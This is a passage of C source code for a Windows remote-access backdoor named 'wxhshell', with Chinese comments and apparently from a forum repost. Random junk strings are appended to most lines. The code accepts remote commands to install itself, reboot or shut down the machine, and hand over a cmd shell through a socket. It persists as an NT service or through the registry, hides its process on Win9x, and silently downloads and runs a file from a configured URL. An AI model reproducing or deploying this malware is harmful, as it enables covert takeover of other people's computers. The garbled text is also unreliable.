    switch(cmd[0]) { !DLIIKO78  
  -O oXb( I4  
  // 帮助 (R.k.,z  
  case '?': { r0_3`; H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +-5CM0*&  
    break; bE0cW'6r  
  } a}MOhM6T  
  // 安装 >/Slk {  
  case 'i': { 7qu hp\  
    if(Install()) wN;o++6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?"J5~_U.  
    else qxk1Rzm?x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $vicxE~-E  
    break; O(CUwk  
    } 1#XMUbFc  
  // 卸载 )KkA<O}f  
  case 'r': { DLf6D | "  
    if(Uninstall()) [S'ngQ"f`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 pp[kv;!G  
    else b5KX`r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *pj&^W?  
    break; @eR>?.:&  
    } GN(PH/fO9  
  // 显示 wxhshell 所在路径 .,-t}5(VSq  
  case 'p': { I8e{%PK  
    char svExeFile[MAX_PATH]; 3xbA]u;gp  
    strcpy(svExeFile,"\n\r"); )4"G1R`3  
      strcat(svExeFile,ExeFile); D{\hPv  
        send(wsh,svExeFile,strlen(svExeFile),0); ASPfzW2  
    break; pZF`+6 42  
    } lZ'NL bK  
  // 重启 ,f4Hl%T;  
  case 'b': { e>X&[\T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y1FS?hSD0  
    if(Boot(REBOOT)) e~jp< 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yG{'hx6H  
    else { >|mmJ4T  
    closesocket(wsh); .z)&#2E  
    ExitThread(0); BIS5u4  
    } q>f1V3  
    break; Q;Xb-\\  
    } vxY7/_]  
  // 关机 N(6|TE2  
  case 'd': { H"].G^V\6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kznmA`#jn  
    if(Boot(SHUTDOWN)) Tj@s\@hv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B!yAam#^  
    else { NkA|T1w7  
    closesocket(wsh); n*hHqZl  
    ExitThread(0); k oZqoP  
    } Dtt[a  
    break; Qgf\gTF$r+  
    } K%Jy?7 U  
  // 获取shell L-",.U*;  
  case 's': { D'c, z[  
    CmdShell(wsh); szGp<xv_p  
    closesocket(wsh); e\tcP  
    ExitThread(0); mi6<;N 2w|  
    break; z'XFwk  
  } t@.M;b8  
  // 退出  NDm3kMa  
  case 'x': { j)]mN$Sa:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r^q@rL>   
    CloseIt(wsh); ]FL=E3U  
    break; 3I@j=:(%Y  
    } K9 :I8E<  
  // 离开 hZU @35~BN  
  case 'q': { =T|Z[/fto  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tz:mj  
    closesocket(wsh); rq:R6e  
    WSACleanup(); /2tgxm$}  
    exit(1); ;gP@d`s  
    break; XN'x`%!*3#  
        } UW8 8JA0  
  } wRCGfILw  
  } Ox Zw;yD  
&Vd,{JU  
  // 提示信息 2*ZB[5_V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \J.PrE'(}  
} 7 &DhEI ^  
  } &>XIK8*  
@Q 8E)k@  
  return; ]Wa.k  
} 5~5d%C^3k  
Mnn\y Tblp  
// shell模块句柄 g!,>.  
int CmdShell(SOCKET sock) A|Up >`QH  
{ KD11<&4_x  
STARTUPINFO si; n3da@ClBt  
ZeroMemory(&si,sizeof(si)); 'P3CgpF<Z2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TGlIt<&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rd vq(\A  
PROCESS_INFORMATION ProcessInfo; lb{<}1YR0o  
char cmdline[]="cmd"; M[g9D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cNZuwS~,  
  return 0; y 4j0nF  
} mQ*:?\@  
}`FC'!(   
// 自身启动模式 w)2X0ev"  
int StartFromService(void) Yg3Vj=  
{ 7j8nDX<  
typedef struct }\!&3^I  
{ $<xa "aN!  
  DWORD ExitStatus; vc0'x4  
  DWORD PebBaseAddress; -]C3_ve  
  DWORD AffinityMask; !vH7vq  
  DWORD BasePriority; &-mPj82R  
  ULONG UniqueProcessId; mI_ ?hl?Pv  
  ULONG InheritedFromUniqueProcessId; iaPrkMhd  
}   PROCESS_BASIC_INFORMATION; Vv8e"S  
YII1 Z'q  
PROCNTQSIP NtQueryInformationProcess; R2|v[nh  
.KSPr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z/n\Ak sE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (,z0V+ !  
EZlcpCS  
  HANDLE             hProcess; )u)]#z  
  PROCESS_BASIC_INFORMATION pbi; jq#uBU %  
U bUl]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ? BtWM4Id8  
  if(NULL == hInst ) return 0; !Bcd\]q  
w 4-E@>%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f?}~$agc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,<!_MNw[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^vw? 4O  
V4@ HIM  
  if (!NtQueryInformationProcess) return 0; wH&[Tg  
,Wtod|vx\U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n%yMf!M .:  
  if(!hProcess) return 0; |E/U(VS3l~  
F0 x5(lp Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?nN3K   
$Hh3*reSg-  
  CloseHandle(hProcess); _?$P?  
Wyh   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a7KP_[_(  
if(hProcess==NULL) return 0; qw={gZ  
P4@<`Eb  
HMODULE hMod; hYO UuC  
char procName[255]; tu {y  
unsigned long cbNeeded; yyCx;  
$Pv;>fHu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m/vwM"  
wju2xM  
  CloseHandle(hProcess); 9,g &EnvG  
?|Y/&/;%I  
if(strstr(procName,"services")) return 1; // 以服务启动 f7NK0kuA  
=23JE'^=  
  return 0; // 注册表启动 unn2MP'  
} \@6P A  
_o'_ z ]  
// 主模块 j<[+vrj  
int StartWxhshell(LPSTR lpCmdLine) 4|i.b?"  
{ 0`y;[qAG[  
  SOCKET wsl; yf5X=f.%@  
BOOL val=TRUE; aM/sD=}  
  int port=0; B^`'2$3  
  struct sockaddr_in door; jF4h/((|EU  
H]>b<Cs  
  if(wscfg.ws_autoins) Install(); T <J%|d .'  
woIcW  
port=atoi(lpCmdLine); 0=  ]RG  
U6SgV 8  
if(port<=0) port=wscfg.ws_port; l{OU \  
mqPV Eo  
  WSADATA data; e}e|??'(\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E07g^y"}i  
#SWL$Vm>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (KQAKEhD!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R?bF b|5t  
  door.sin_family = AF_INET; &Xw{%Rg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5T]GyftFV  
  door.sin_port = htons(port); aDr46TB`J  
k\,01Y^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;;4xpg  
closesocket(wsl); u`GzYG-L  
return 1; 7/^`y')  
} 5@_c<   
5<1,`Bq@  
  if(listen(wsl,2) == INVALID_SOCKET) { =+@IpXj  
closesocket(wsl); zyey5Z:7  
return 1; J*@(rb#G  
} W '54g$T  
  Wxhshell(wsl); h|z{ (v  
  WSACleanup(); CYlZ<W'  
GMLDmTV  
return 0; Mx& P^#B3  
pC9Ed9uRK  
} WPbWG$Li  
nFE0y3GD8  
// 以NT服务方式启动 L_$M9G|5n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aBL+i-  
{ bqB gq  
DWORD   status = 0; ;-Bi~XD  
  DWORD   specificError = 0xfffffff; 9D 2B8t"a  
%\xwu(|kN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yj]\%3o<Z7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c o}o$}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4.@gV/U(|  
  serviceStatus.dwWin32ExitCode     = 0; I^'U_"vB  
  serviceStatus.dwServiceSpecificExitCode = 0; >we/#C"x  
  serviceStatus.dwCheckPoint       = 0; cZn B 2T?  
  serviceStatus.dwWaitHint       = 0; ~c8Z9[QW  
Rx e sK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0:<dj:%M  
  if (hServiceStatusHandle==0) return; `9%Q2Al  
Mq7d*Bgb  
status = GetLastError(); [;5?=X,LD  
  if (status!=NO_ERROR) JvFU7`4@  
{ i,G )kt'H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0Me *X  
    serviceStatus.dwCheckPoint       = 0; N?j,'gy4  
    serviceStatus.dwWaitHint       = 0; tmAc=?|Wa  
    serviceStatus.dwWin32ExitCode     = status; q#W7.8 Z@  
    serviceStatus.dwServiceSpecificExitCode = specificError; cB5|% @$I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*Xp"yBTo  
    return; u#tLY/KA  
  } -#XNZy!//  
 imE5 $;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lH_S*FDa  
  serviceStatus.dwCheckPoint       = 0; r{~K8!=oU]  
  serviceStatus.dwWaitHint       = 0; "WKE% f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J?Kgev%  
} !?Tu pi  
_J}vPm  
// 处理NT服务事件,比如:启动、停止 ii%n:0+zm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v5i?4?-Z  
{ E|f&SEnzK  
switch(fdwControl) a8fLj  
{ 1zE_ SNx  
case SERVICE_CONTROL_STOP: (0%0+vY  
  serviceStatus.dwWin32ExitCode = 0; ?&Y3Fr)%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aOYRenqu  
  serviceStatus.dwCheckPoint   = 0; VK9I#   
  serviceStatus.dwWaitHint     = 0; E|2klA^+*  
  { 'c#ZW| A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w}Q|*!?_  
  } &HKrmFgX{  
  return; xe)< )y  
case SERVICE_CONTROL_PAUSE: qcxq-HS2'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |q$br-0+  
  break; 7. y L>  
case SERVICE_CONTROL_CONTINUE: MmOGt!}9A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HaeF`gI^Ee  
  break; >c~~i-=  
case SERVICE_CONTROL_INTERROGATE: =U3,P%  
  break; %v++AcE  
}; xBGSj[1`i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eW*nRha  
} >mI-h  
dy u brIG  
// 标准应用程序主函数 [ @> 8Qhw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !:3NPjhf1Y  
{ *(&,&$1K  
A0*u(15%  
// 获取操作系统版本 ]2Aqqy  
OsIsNt=GetOsVer(); 'Mjbvh4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kb%j;y  
;8sEE?C$g  
  // 从命令行安装 o?P(Fuf  
  if(strpbrk(lpCmdLine,"iI")) Install(); "42u0rH0J  
_:om(gL  
  // 下载执行文件 zk]6|i$!I  
if(wscfg.ws_downexe) { 6 USet`#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kl[bDb1p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6YT*=\KT  
} &G55<tRE  
aisX56Lc  
if(!OsIsNt) { 57+^T}/>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?,|_<'$4T  
HideProc(); 6X5m1+ Oi^  
StartWxhshell(lpCmdLine); De|@}@  
} Pp N+q:(  
else iXC/? EK4  
  if(StartFromService())  U^ BB|  
  // 以服务方式启动 xtU)3I=F%  
  StartServiceCtrlDispatcher(DispatchTable); :i*JlKHJ d  
else cd}TDd(H%  
  // 普通方式启动 V]}/e!XK\  
  StartWxhshell(lpCmdLine); #UU}lG  
>'^l>FPc  
return 0; X%,;IW]a  
}
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只看该作者 1 发表于: 2006-10-10
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